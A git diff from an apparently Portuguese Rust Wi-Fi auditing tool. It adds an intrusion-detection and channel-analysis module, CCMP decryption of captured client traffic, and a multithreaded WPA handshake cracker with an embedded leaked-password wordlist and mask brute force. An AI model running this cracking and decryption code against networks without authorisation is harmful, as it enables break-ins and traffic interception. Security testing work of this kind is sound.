2009 (~32 milhões de contas), aqui filtrado pro mesmo comprimento válido
de WPA. É provavelmente o dicionário de senhas mais usado em segurança
ofensiva — vem embutido por padrão até no Kali Linux
(/usr/share/wordlists/rockyou.txt.gz). Redistribuído aqui via SecLists:
https://github.com/danielmiessler/SecLists (repositório MIT; o conteúdo do
próprio rockyou.txt é dado de vazamento, sem titular de direitos autorais
que o licencie formalmente — é tratado como de uso livre pra pesquisa de
segurança em toda a indústria, mesmo padrão que o SecLists e as
distribuições Linux de pentest adotam).
Ao redistribuir este arquivo (ou um derivado dele), mantenha a atribuição ao
Probable-Wordlists acima — é a parte que tem uma licença formal que exige
isso (CC BY-SA 4.0).
Isso é atribuição e aviso de licença, não os termos legais completos da
CC BY-SA 4.0.
Binary file not shown.
+486
View File
@@ -0,0 +1,486 @@
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
//!
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
//! o relatório usa o mesmo modelo para não ter duas verdades.
use crate::radiotap::{self, Band};
use crate::scan::AccessPoint;
use serde::Serialize;
use std::collections::HashMap;
#[derive(Debug, Clone, Serialize)]
pub struct ChannelCandidate {
pub channel: u32,
pub freq_mhz: u16,
pub band: String,
pub score: f32,
pub aps: usize,
pub dfs: bool,
}
#[derive(Debug, Clone, Serialize)]
pub struct BandReport {
pub band: String,
pub candidates: Vec<ChannelCandidate>,
pub recommended: Option<u32>,
pub used_channels: Vec<u32>,
}
#[derive(Debug, Clone, Serialize)]
pub struct Finding {
pub id: String,
pub severity: String,
pub title: String,
pub detail: String,
pub bssid: Option<String>,
pub ssid: Option<String>,
}
#[derive(Debug, Clone, Serialize)]
pub struct Wpa3Info {
pub bssid: String,
pub ssid: Option<String>,
pub mode: String,
pub pmf: bool,
pub pmf_required: bool,
pub transition: bool,
pub notes: Vec<String>,
}
#[derive(Debug, Clone, Serialize, Default)]
pub struct Analysis {
pub bands: Vec<BandReport>,
pub findings: Vec<Finding>,
pub wpa3: Vec<Wpa3Info>,
pub deauth_60s: u32,
}
const BAND_24: &str = "2.4 GHz";
const BAND_5: &str = "5 GHz";
const BAND_6: &str = "6 GHz";
fn band_label(band: Band) -> &'static str {
match band {
Band::B2G4 => BAND_24,
Band::B5 => BAND_5,
Band::B6 => BAND_6,
Band::Unknown => BAND_24,
}
}
fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> {
if let Some(freq) = ap.freq_mhz {
return Some((freq, radiotap::band_for_freq(freq)));
}
let band = ap.band?;
let channel = ap.channel?;
radiotap::channel_to_freq(channel, band).map(|freq| (freq, band))
}
fn ap_width(ap: &AccessPoint) -> u16 {
ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20)
}
fn candidates_for(band: Band) -> Vec<u32> {
match band {
Band::B2G4 => (1..=14).collect(),
Band::B5 => {
let mut chans: Vec<u32> = (36..=64).step_by(4).collect();
chans.extend((100..=144).step_by(4));
chans.extend((149..=177).step_by(4));
chans.extend([182, 184, 188, 192, 196]);
chans
}
Band::B6 => (1..=233).step_by(4).collect(),
Band::Unknown => Vec::new(),
}
}
fn is_dfs(channel: u32) -> bool {
(52..=64).contains(&channel) || (100..=144).contains(&channel)
}
fn signal_weight(dbm: Option<i8>) -> f32 {
let dbm = dbm.unwrap_or(-75) as f32;
(1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0)
}
fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) {
let half = 10.0f32;
let mut score = 0.0f32;
let mut count = 0usize;
for (freq, width, weight) in aps {
let ap_half = *width as f32 / 2.0;
let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half);
let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half);
let overlap = (hi - lo).max(0.0) / (half * 2.0);
if overlap > 0.0 {
score += overlap * weight;
count += 1;
}
}
(score, count)
}
fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport {
let mut occupied: Vec<(u16, u16, f32)> = Vec::new();
let mut used = Vec::new();
for ap in aps {
let Some((freq, _)) = ap_freq(ap) else {
continue;
};
occupied.push((
freq,
ap_width(ap),
signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)),
));
if let Some(ch) = ap.channel {
used.push(ch);
}
}
used.sort_unstable();
used.dedup();
let mut candidates: Vec<ChannelCandidate> = candidates_for(band)
.into_iter()
.filter_map(|channel| {
radiotap::channel_to_freq(channel, band).map(|freq| {
let (score, count) = overlap_score(freq, &occupied);
ChannelCandidate {
channel,
freq_mhz: freq,
band: band_label(band).to_string(),
score: (score * 1000.0).round() / 1000.0,
aps: count,
dfs: is_dfs(channel),
}
})
})
.collect();
let preferred: Vec<u32> = match band {
Band::B2G4 => vec![1, 6, 11],
_ => Vec::new(),
};
let recommended = if preferred.is_empty() {
candidates
.iter()
.filter(|c| !c.dfs)
.min_by(|a, b| a.score.total_cmp(&b.score))
.or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score)))
.map(|c| c.channel)
} else {
preferred
.into_iter()
.filter_map(|ch| candidates.iter().find(|c| c.channel == ch))
.min_by(|a, b| a.score.total_cmp(&b.score))
.map(|c| c.channel)
};
candidates.sort_by(|a, b| {
a.score
.total_cmp(&b.score)
.then_with(|| a.channel.cmp(&b.channel))
});
candidates.truncate(8);
BandReport {
band: band_label(band).to_string(),
candidates,
recommended,
used_channels: used,
}
}
fn finding(
id: &str,
severity: &str,
title: impl Into<String>,
detail: impl Into<String>,
ap: Option<&AccessPoint>,
) -> Finding {
Finding {
id: id.into(),
severity: severity.into(),
title: title.into(),
detail: detail.into(),
bssid: ap.map(|a| a.bssid.clone()),
ssid: ap.and_then(|a| a.ssid.clone()),
}
}
fn security_rank(security: Option<&str>) -> u8 {
match security {
Some("Open") => 0,
Some("WEP") => 1,
Some("WPA") => 2,
Some("WPA2-EAP") => 3,
Some("WPA2") => 4,
Some("WPA2/WPA3") => 5,
Some("WPA3-EAP") => 6,
Some("WPA3") => 7,
Some("OWE") => 4,
_ => 3,
}
}
fn wpa3_info(ap: &AccessPoint) -> Option<Wpa3Info> {
let sec = ap.security.as_deref()?;
let is_wpa3 = sec.contains("WPA3") || sec == "OWE";
if !is_wpa3 {
return None;
}
let transition = sec == "WPA2/WPA3";
let mut notes = Vec::new();
if transition {
notes.push(
"Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco."
.into(),
);
}
if !ap.pmf {
notes
.push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into());
} else if !ap.pmf_required && !transition {
notes.push("PMF suportado, mas não obrigatório.".into());
}
if ap.wps {
notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into());
}
if ap.wps_locked == Some(false) {
notes.push("WPS destravado: PIN pode ser testado.".into());
}
Some(Wpa3Info {
bssid: ap.bssid.clone(),
ssid: ap.ssid.clone(),
mode: sec.to_string(),
pmf: ap.pmf,
pmf_required: ap.pmf_required,
transition,
notes,
})
}
pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
let mut findings = Vec::new();
let mut wpa3 = Vec::new();
let bands = [Band::B2G4, Band::B5, Band::B6]
.into_iter()
.filter_map(|band| {
let filtered: Vec<&AccessPoint> = aps
.iter()
.filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band))
.collect();
if filtered.is_empty() {
None
} else {
Some(band_report(band, &filtered))
}
})
.collect();
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
for ap in aps {
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
by_ssid.entry(ssid.to_string()).or_default().push(ap);
}
}
for (ssid, group) in &by_ssid {
if group.len() < 2 {
continue;
}
let mut ranks: Vec<u8> = group
.iter()
.map(|a| security_rank(a.security.as_deref()))
.collect();
ranks.sort_unstable();
ranks.dedup();
if ranks.len() > 1 {
let detail = group
.iter()
.map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—")))
.collect::<Vec<_>>()
.join(", ");
findings.push(finding(
"evil_twin_security",
"bad",
format!("SSID “{ssid}” com seguranças diferentes"),
format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."),
None,
));
}
}
if deauth_60s >= 40 {
findings.push(finding(
"deauth_flood",
"bad",
"Rajada de desautenticação",
format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."),
None,
));
}
let recent_aps = aps
.iter()
.filter(|a| now.saturating_sub(a.first_seen_unix) <= 60)
.count();
if recent_aps >= 60 {
findings.push(finding(
"beacon_flood",
"warn",
"Muitos BSSIDs novos",
format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."),
None,
));
}
for ap in aps {
let label = ap
.ssid
.clone()
.filter(|s| !s.is_empty())
.unwrap_or_else(|| ap.bssid.clone());
match ap.security.as_deref() {
Some("Open") => findings.push(finding(
"open",
"bad",
format!("Rede aberta: {label}"),
"Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.",
Some(ap),
)),
Some("WEP") => findings.push(finding(
"wep",
"bad",
format!("WEP em {label}"),
"WEP é quebrável em minutos; trate a rede como aberta.",
Some(ap),
)),
Some("WPA") => findings.push(finding(
"wpa1",
"warn",
format!("WPA1 (TKIP) em {label}"),
"WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.",
Some(ap),
)),
_ => {}
}
if ap.wps {
findings.push(finding(
"wps",
if ap.wps_locked == Some(true) {
"info"
} else {
"warn"
},
format!("WPS ativo em {label}"),
if ap.wps_locked == Some(true) {
"O AP anuncia WPS com configuração travada."
} else {
"WPS sem lock explícito; PIN pode ser testado com reaver/bully."
},
Some(ap),
));
}
if !ap.pmf
&& matches!(
ap.security.as_deref(),
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
)
{
findings.push(finding(
"no_pmf",
"warn",
format!("Sem PMF em {label}"),
"Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.",
Some(ap),
));
}
if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf
{
findings.push(finding(
"pmf_inconsistent",
"warn",
format!("PMF inconsistente em {label}"),
"O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.",
Some(ap),
));
}
if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) {
findings.push(finding(
"wpa3_wps",
"warn",
format!("WPA3 com WPS em {label}"),
"WPS não faz parte do WPA3 e abre uma via mais fraca de associação.",
Some(ap),
));
}
if let Some(info) = wpa3_info(ap) {
wpa3.push(info);
}
}
findings.sort_by_key(|f| match f.severity.as_str() {
"bad" => 0,
"warn" => 1,
_ => 2,
});
Analysis {
bands,
findings,
wpa3,
deauth_60s,
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::scan::ScanTable;
use crate::testutil::{ap, beacon_frame, radiotap_wrap};
fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) {
let frame = beacon_frame(ap(), ssid, channel, akms);
table.ingest_at(
&radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal),
100,
);
}
#[test]
fn recommends_16_or_11_in_24() {
let mut table = ScanTable::new();
ingest(&mut table, "Casa", 6, -40, &[2]);
let result = table.analysis();
let band = result
.bands
.iter()
.find(|b| b.band == BAND_24)
.expect("2.4");
assert!(matches!(band.recommended, Some(1 | 6 | 11)));
}
#[test]
fn flags_same_ssid_with_different_security() {
let mut table = ScanTable::new();
ingest(&mut table, "Loja", 6, -40, &[2]);
let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]);
table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100);
let result = table.analysis();
assert!(result.findings.iter().any(|f| f.id == "evil_twin_security"));
}
#[test]
fn flags_wps_and_weak_networks() {
let mut table = ScanTable::new();
let frame = beacon_frame(ap(), "Antiga", 1, &[]);
table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100);
let result = table.analysis();
assert!(result
.findings
.iter()
.any(|f| f.id == "wep" || f.id == "open"));
}
}
+173
View File
@@ -0,0 +1,173 @@
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
//! de um handshake quebrado.
//!
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
//! abre o tráfego de quem a gente não viu entrar.
//!
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
//! sem ganho prático pro que isso serve aqui.
use aes::cipher::{BlockEncrypt, KeyInit};
use aes::Aes128;
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
///
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
pub fn decrypt_data(
tk: &[u8; 16],
transmitter: &[u8; 6],
qos_tid: u8,
body: &[u8],
) -> Option<Vec<u8>> {
const HEADER_LEN: usize = 8;
const MIC_LEN: usize = 8;
if body.len() < HEADER_LEN + MIC_LEN {
return None;
}
let pn0 = body[0];
let pn1 = body[1];
let key_id_octet = body[3];
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
if key_id_octet & 0x20 == 0 {
return None;
}
let pn2 = body[4];
let pn3 = body[5];
let pn4 = body[6];
let pn5 = body[7];
let ciphertext_and_mic = &body[HEADER_LEN..];
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
// mais significativo (PN5) ao menos significativo (PN0).
let mut nonce = [0u8; 13];
nonce[0] = qos_tid & 0x0f;
nonce[1..7].copy_from_slice(transmitter);
nonce[7] = pn5;
nonce[8] = pn4;
nonce[9] = pn3;
nonce[10] = pn2;
nonce[11] = pn1;
nonce[12] = pn0;
let cipher = Aes128::new(tk.into());
let mut out = Vec::with_capacity(ciphertext.len());
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
for chunk in ciphertext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
cipher.encrypt_block(&mut keystream);
for (c, k) in chunk.iter().zip(keystream.iter()) {
out.push(c ^ k);
}
counter = counter.wrapping_add(1);
}
Some(out)
}
#[cfg(test)]
mod tests {
use super::*;
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
/// que a cifra de bloco usada embaixo está correta antes de confiar no
/// contador CTR por cima dela.
#[test]
fn aes128_matches_fips197_vector() {
let key: [u8; 16] = [
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
0x0e, 0x0f,
];
let plaintext: [u8; 16] = [
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
0xee, 0xff,
];
let expected: [u8; 16] = [
0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
0xc5, 0x5a,
];
let cipher = Aes128::new(&key.into());
let mut block = plaintext.into();
cipher.encrypt_block(&mut block);
assert_eq!(block.as_slice(), &expected);
}
/// Round-trip de auto-consistência: decifrar um texto que a própria
/// função "cifrou" (mesmo algoritmo, usado nos dois sentidos — CTR é
/// simétrico) tem que devolver o original. Isso pega bug de indexação
/// no nonce/contador mesmo sem um vetor de teste oficial do CCMP à mão.
#[test]
fn ctr_round_trip_recovers_plaintext() {
let tk = [0x42u8; 16];
let transmitter = [0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff];
let plaintext = b"AA AA 03 00 00 00 08 00 payload de teste bem maior que um bloco de 16 bytes para cobrir mais de uma rodada do contador";
// Monta um "quadro" CCMP cifrando manualmente com a mesma lógica de
// keystream (ela é simétrica: XOR com o keystream cifra e decifra).
let header = [0x11u8, 0x22, 0x00, 0x20, 0x33, 0x44, 0x55, 0x66]; // ExtIV ligado
let mut nonce = [0u8; 13];
nonce[0] = 3; // TID
nonce[1..7].copy_from_slice(&transmitter);
nonce[7] = header[7];
nonce[8] = header[6];
nonce[9] = header[5];
nonce[10] = header[4];
nonce[11] = header[1];
nonce[12] = header[0];
let cipher = Aes128::new(&tk.into());
let mut ciphertext = Vec::with_capacity(plaintext.len());
let mut counter: u16 = 1;
for chunk in plaintext.chunks(16) {
let mut block = [0u8; 16];
block[0] = 0x01;
block[1..14].copy_from_slice(&nonce);
block[14..16].copy_from_slice(&counter.to_be_bytes());
let mut keystream = block.into();
cipher.encrypt_block(&mut keystream);
for (p, k) in chunk.iter().zip(keystream.iter()) {
ciphertext.push(p ^ k);
}
counter = counter.wrapping_add(1);
}
ciphertext.extend_from_slice(&[0u8; 8]); // MIC fictício, ignorado na decriptação
let mut body = Vec::new();
body.extend_from_slice(&header);
body.extend_from_slice(&ciphertext);
let out = decrypt_data(&tk, &transmitter, 3, &body).expect("decifra");
assert_eq!(out, plaintext);
}
#[test]
fn rejects_body_without_extiv_bit() {
let tk = [0u8; 16];
let body = [0u8; 20]; // key_id_octet (índice 3) sem o bit ExtIV
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
#[test]
fn rejects_body_too_short() {
let tk = [0u8; 16];
let body = [0u8; 10];
assert!(decrypt_data(&tk, &[0; 6], 0, &body).is_none());
}
}
+313 -28
View File
@@ -15,13 +15,17 @@ use crate::dot11::parse_mac;
use crate::error::{Result, SabiaError};
use crate::handshake::Handshake;
use crate::pcapreader::PcapReader;
use crate::rules::Mask;
use crate::scan::ScanTable;
use flate2::read::GzDecoder;
use hmac::{Hmac, Mac};
use md5::Md5;
use sha1::Sha1;
use std::fs::File;
use std::io::{BufRead, BufReader};
use std::io::{BufRead, BufReader, Read};
use std::path::Path;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::{LazyLock, Mutex};
use std::time::Instant;
type HmacSha1 = Hmac<Sha1>;
@@ -29,6 +33,37 @@ type HmacMd5 = Hmac<Md5>;
const WPA_ITERATIONS: u32 = 4096;
/// `.gz` do dicionário embutido — descomprimido só na primeira vez que é
/// usado (ver [`default_wordlist`]). Cru são ~101MB; comprimido, ~39MB no
/// binário em vez de ~101MB.
const DEFAULT_WORDLIST_GZ: &[u8] = include_bytes!("../assets/wordlists/wpa-full.txt.gz");
pub const DEFAULT_WORDLIST_SOURCE: &str =
"Probable-Wordlists (berzerk0) WPA-Length top204k (CC BY-SA 4.0) + rockyou.txt via SecLists — ver assets/wordlists/LICENSE.wpa-full";
static DEFAULT_WORDLIST_CACHE: LazyLock<String> = LazyLock::new(|| {
let mut out = String::new();
GzDecoder::new(DEFAULT_WORDLIST_GZ)
.read_to_string(&mut out)
.expect("dicionário embutido corrompido");
out
});
/// Lista embutida de senhas prováveis de Wi-Fi, usada quando o usuário não
/// escolhe um dicionário próprio. Não depende de arquivo externo: é a lista
/// mais completa que o Sabiá consegue embutir sem exigir download —
/// 9.703.831 senhas (203.806 do Probable-Wordlists, ranqueadas por
/// probabilidade, seguidas pelo rockyou.txt inteiro) filtradas pro
/// comprimento válido de WPA (8–63) e pra ASCII puro (WPA-PSK exige um
/// octeto válido; a imensa maioria dos roteadores só aceita ASCII mesmo, e
/// isso evita o pouco de lixo binário que o rockyou.txt original carrega),
/// sem duplicatas e na ordem de prioridade: as mais prováveis primeiro,
/// então a quebra tende a achar a senha cedo, não só no fim da lista. Ver
/// `assets/wordlists/LICENSE.wpa-full` pra atribuição completa.
pub fn default_wordlist() -> &'static str {
&DEFAULT_WORDLIST_CACHE
}
#[derive(Debug, Clone)]
pub struct CrackTarget {
pub ssid: String,
@@ -116,8 +151,10 @@ pub fn derive_pmk(passphrase: &str, ssid: &str) -> [u8; 32] {
}
/// Aceita uma frase-senha (8–63 caracteres) ou uma PMK crua em hexadecimal
/// (64 caracteres, como no hashcat/aircrack).
fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
/// (64 caracteres, como no hashcat/aircrack). `pub(crate)` porque
/// `handshake.rs` reusa exatamente essa regra ao derivar a TK de uma senha
/// já quebrada (o campo `password` aceita as duas formas, igual aqui).
pub(crate) fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
if candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()) {
return hex_to_32(candidate.as_bytes());
}
@@ -133,15 +170,20 @@ fn pmk_from_candidate(candidate: &str, ssid: &[u8]) -> Option<[u8; 32]> {
pub fn pbkdf2_sha1(password: &[u8], salt: &[u8], iterations: u32, out_len: usize) -> Vec<u8> {
let iterations = iterations.max(1);
let mut out = Vec::with_capacity(out_len);
// O par ipad/opad depende só da senha — monta uma vez e clona a cada
// rodada (clone é só copiar os dois blocos já prontos) em vez de montar
// o HMAC do zero em cada uma das milhares de iterações. Em 4096
// iterações por bloco isso é a maior parte do custo fora do SHA1 em si.
let base = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut block: u32 = 1;
while out.len() < out_len {
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut mac = base.clone();
mac.update(salt);
mac.update(&block.to_be_bytes());
let mut u = mac.finalize().into_bytes();
let mut t = u;
for _ in 1..iterations {
let mut mac = HmacSha1::new_from_slice(password).expect("HMAC aceita qualquer chave");
let mut mac = base.clone();
mac.update(&u);
u = mac.finalize().into_bytes();
for (a, b) in t.iter_mut().zip(u.iter()) {
@@ -272,16 +314,26 @@ fn valid_candidate(candidate: &str) -> bool {
|| (candidate.len() == 64 && candidate.bytes().all(|b| b.is_ascii_hexdigit()))
}
/// Tenta cada linha do dicionário contra o alvo. `progress` recebe o número
/// de candidatos já processados.
pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
/// Tenta cada linha do dicionário contra o alvo, dividindo o trabalho entre
/// as threads disponíveis (PBKDF2-HMAC-SHA1 de 4096 iterações é CPU puro e
/// cada candidato é independente — ganho quase linear com o número de
/// núcleos). `progress` recebe o número de candidatos já processados, ~8x
/// por segundo enquanto roda. Com `apply_rules`, cada linha vira até
/// [`rules::VARIANTS_PER_WORD`] candidatos (maiúscula, sufixos comuns, leet
/// simples) em vez de só a palavra crua — multiplica o tempo de verdade,
/// por isso é opt-in.
pub fn crack_reader<R: BufRead, F: FnMut(u64) + Send>(
target: &CrackTarget,
mut wordlist: R,
apply_rules: bool,
mut progress: F,
) -> CrackReport {
let start = Instant::now();
let mut tried = 0u64;
let mut password = None;
// Carrega a lista inteira antes de começar: dá pra repartir em pedaços
// contíguos por thread (melhor localidade de cache que round-robin) e o
// próprio dicionário embutido cabe de sobra em memória.
let mut candidates: Vec<String> = Vec::new();
let mut line = String::new();
loop {
line.clear();
@@ -294,20 +346,62 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
if candidate.is_empty() {
continue;
}
tried += 1;
if apply_rules {
candidates.extend(crate::rules::expand(candidate));
} else {
candidates.push(candidate.to_string());
}
}
let total = candidates.len();
let workers = std::thread::available_parallelism()
.map(std::num::NonZeroUsize::get)
.unwrap_or(1)
.min(total.max(1));
let chunk = total.div_ceil(workers.max(1)).max(1);
let tried = AtomicU64::new(0);
let stop = AtomicBool::new(false);
let found: Mutex<Option<String>> = Mutex::new(None);
std::thread::scope(|scope| {
for part in candidates.chunks(chunk) {
let tried = &tried;
let stop = &stop;
let found = &found;
scope.spawn(move || {
for candidate in part {
if stop.load(Ordering::Relaxed) {
return;
}
if valid_candidate(candidate) && target.verify(candidate) {
password = Some(candidate.to_string());
*found.lock().unwrap() = Some(candidate.clone());
stop.store(true, Ordering::Relaxed);
return;
}
tried.fetch_add(1, Ordering::Relaxed);
}
});
}
// Thread "repórter": roda dentro do mesmo scope só pra poder
// emprestar `progress` (FnMut, chamado de um único lugar).
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
progress(n);
if stop.load(Ordering::Relaxed) || n as usize >= total {
break;
}
if tried % 128 == 0 {
progress(tried);
}
}
progress(tried);
});
});
let final_tried = tried.load(Ordering::Relaxed);
progress(final_tried);
CrackReport {
password,
tried,
password: found.into_inner().unwrap(),
tried: final_tried,
elapsed_ms: start.elapsed().as_millis() as u64,
ssid: Some(target.ssid.clone()),
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
@@ -316,26 +410,52 @@ pub fn crack_reader<R: BufRead, F: FnMut(u64)>(
}
}
pub fn crack_handshake<F: FnMut(u64)>(
pub fn crack_handshake<F: FnMut(u64) + Send>(
hs: &Handshake,
wordlist: impl AsRef<Path>,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let target = CrackTarget::from_handshake(hs).ok_or_else(|| {
let target = target_for(hs)?;
let file = File::open(wordlist)?;
Ok(crack_reader(
&target,
BufReader::new(file),
apply_rules,
progress,
))
}
/// Quebra usando a lista embutida.
pub fn crack_handshake_default<F: FnMut(u64) + Send>(
hs: &Handshake,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let target = target_for(hs)?;
Ok(crack_reader(
&target,
std::io::Cursor::new(default_wordlist().as_bytes()),
apply_rules,
progress,
))
}
fn target_for(hs: &Handshake) -> Result<CrackTarget> {
CrackTarget::from_handshake(hs).ok_or_else(|| {
SabiaError::InvalidInput(
"handshake sem SSID, PMKID ou par de nonces suficiente para quebrar".into(),
)
})?;
let file = File::open(wordlist)?;
Ok(crack_reader(&target, BufReader::new(file), progress))
})
}
/// Lê um `.pcap`, monta os handshakes e tenta quebrar o primeiro alvo útil.
pub fn crack_pcap<F: FnMut(u64)>(
pub fn crack_pcap<F: FnMut(u64) + Send>(
pcap: impl AsRef<Path>,
wordlist: impl AsRef<Path>,
bssid: Option<&str>,
station: Option<&str>,
apply_rules: bool,
progress: F,
) -> Result<CrackReport> {
let mut reader = PcapReader::open(pcap)?;
@@ -351,7 +471,89 @@ pub fn crack_pcap<F: FnMut(u64)>(
let hs = table
.first_crackable(bssid, station)
.ok_or_else(|| SabiaError::InvalidInput("nenhum handshake quebrável na captura".into()))?;
crack_handshake(hs, wordlist, progress)
crack_handshake(hs, wordlist, apply_rules, progress)
}
/// Força bruta por máscara (estilo hashcat `-a 3`): gera e testa cada
/// combinação possível, sem depender de dicionário. Mesma paralelização por
/// threads do `crack_reader`, mas gerando candidatos por índice (base
/// mista) em vez de carregar tudo em memória — é o que permite máscaras com
/// milhões/bilhões de combinações sem estourar RAM.
pub fn crack_mask<F: FnMut(u64) + Send>(
target: &CrackTarget,
mask: &Mask,
mut progress: F,
) -> CrackReport {
let start = Instant::now();
let total = mask.total().unwrap_or(0);
let workers = std::thread::available_parallelism()
.map(std::num::NonZeroUsize::get)
.unwrap_or(1)
.min(total.max(1) as usize) as u64;
let chunk = total.div_ceil(workers.max(1)).max(1);
let tried = AtomicU64::new(0);
let stop = AtomicBool::new(false);
let found: Mutex<Option<String>> = Mutex::new(None);
std::thread::scope(|scope| {
let mut from = 0u64;
while from < total {
let to = (from + chunk).min(total);
let tried = &tried;
let stop = &stop;
let found = &found;
scope.spawn(move || {
for i in from..to {
if stop.load(Ordering::Relaxed) {
return;
}
if let Some(candidate) = mask.candidate(i) {
if valid_candidate(&candidate) && target.verify(&candidate) {
*found.lock().unwrap() = Some(candidate);
stop.store(true, Ordering::Relaxed);
return;
}
}
tried.fetch_add(1, Ordering::Relaxed);
}
});
from = to;
}
scope.spawn(|| loop {
std::thread::sleep(std::time::Duration::from_millis(120));
let n = tried.load(Ordering::Relaxed);
progress(n);
if stop.load(Ordering::Relaxed) || n >= total {
break;
}
});
});
let final_tried = tried.load(Ordering::Relaxed);
progress(final_tried);
CrackReport {
password: found.into_inner().unwrap(),
tried: final_tried,
elapsed_ms: start.elapsed().as_millis() as u64,
ssid: Some(target.ssid.clone()),
bssid: Some(crate::dot11::mac_to_string(&target.bssid)),
station: Some(crate::dot11::mac_to_string(&target.station)),
method: Some(target.method().to_string()),
}
}
/// Quebra por máscara a partir de um handshake já montado.
pub fn crack_handshake_mask<F: FnMut(u64) + Send>(
hs: &Handshake,
mask: &Mask,
progress: F,
) -> Result<CrackReport> {
let target = target_for(hs)?;
Ok(crack_mask(&target, mask, progress))
}
#[cfg(test)]
@@ -360,6 +562,47 @@ mod tests {
